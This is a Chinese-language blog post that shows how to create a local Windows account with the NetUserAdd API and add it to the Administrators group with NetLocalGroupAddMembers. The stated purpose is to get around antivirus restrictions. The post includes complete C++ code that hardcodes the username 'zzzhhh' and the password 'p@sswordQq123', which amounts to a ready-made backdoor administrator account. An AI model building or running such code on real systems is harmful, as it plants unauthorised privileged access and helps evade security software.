【API】API函数创建用户,添加到管理组

1 学习目标

使用API添加用户可以绕过某些杀毒软件的限制。

2 编程思路

2.1 代码原理

使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。

2.2 编写思路

  • 1、定义USER_INFO_1 结构体
  • 2、调用NetUserAdd添加普通权限账户
  • 3、调用NetLocalGroupAddMembers添加到管理员组

3 参考文章

《使用NetUserAdd API函数创建远程用户》
http://www.cnblogs.com/findumars/p/5812177.html

4 实现流程

4.1 编程环境

操作系统:windows 7
编译器版本:vs 2010

4.2 前置API函数

NetUserAdd

NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
    IN  LPCWSTR     servername OPTIONAL,  //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
    IN  DWORD      level,
    IN  LPBYTE     buf,
    OUT LPDWORD    parm_err OPTIONAL
    );

NetLocalGroupAddMembers

NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
    IN  LPCWSTR     servername OPTIONAL,
    IN  LPCWSTR     groupname,
    IN  DWORD      level,
    IN  LPBYTE     buf,
    IN  DWORD      totalentries
    );

4.3 C++代码

#include "stdafx.h"
#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#pragma comment(lib,"netapi32")    
int Usage(wchar_t *);    
int wmain(int argc, wchar_t *argv[])    
{    


	// 定义USER_INFO_1结构体
	USER_INFO_1 ui;    
	DWORD dwError = 0;     
	ui.usri1_name = L"zzzhhh";            // 账户    
	ui.usri1_password = L"p@sswordQq123";      // 密码
	ui.usri1_priv = USER_PRIV_USER;    
	ui.usri1_home_dir = NULL;    
	ui.usri1_comment = NULL;    
	ui.usri1_flags = UF_SCRIPT;    
	ui.usri1_script_path = NULL;    
	//添加名为zzzhhh的用户,密码为p@sswordQq123:    
	if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)    
	{    

		MessageBox(0,L"successfully",L"title",0);
	
	}    
	else    
	{    
		//添加失败    
		MessageBox(0,L"fail",L"title",0);

	}    

	// 添加用户到administrators组
	LOCALGROUP_MEMBERS_INFO_3 account;    
	account.lgrmi3_domainandname=ui.usri1_name;      
	if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )    
	{    
		//添加成功    
		MessageBox(0,L"Add to Administrators success",L"title",0);
	}    
	else    
	{    
		//添加失败    
		MessageBox(0,L"Add to Administrators Fail!",L"title",0);
	}    

	return 0;
}    

运行截图

posted @ 2017-04-30 19:47  17bdw  阅读(2713)  评论(0编辑  收藏  举报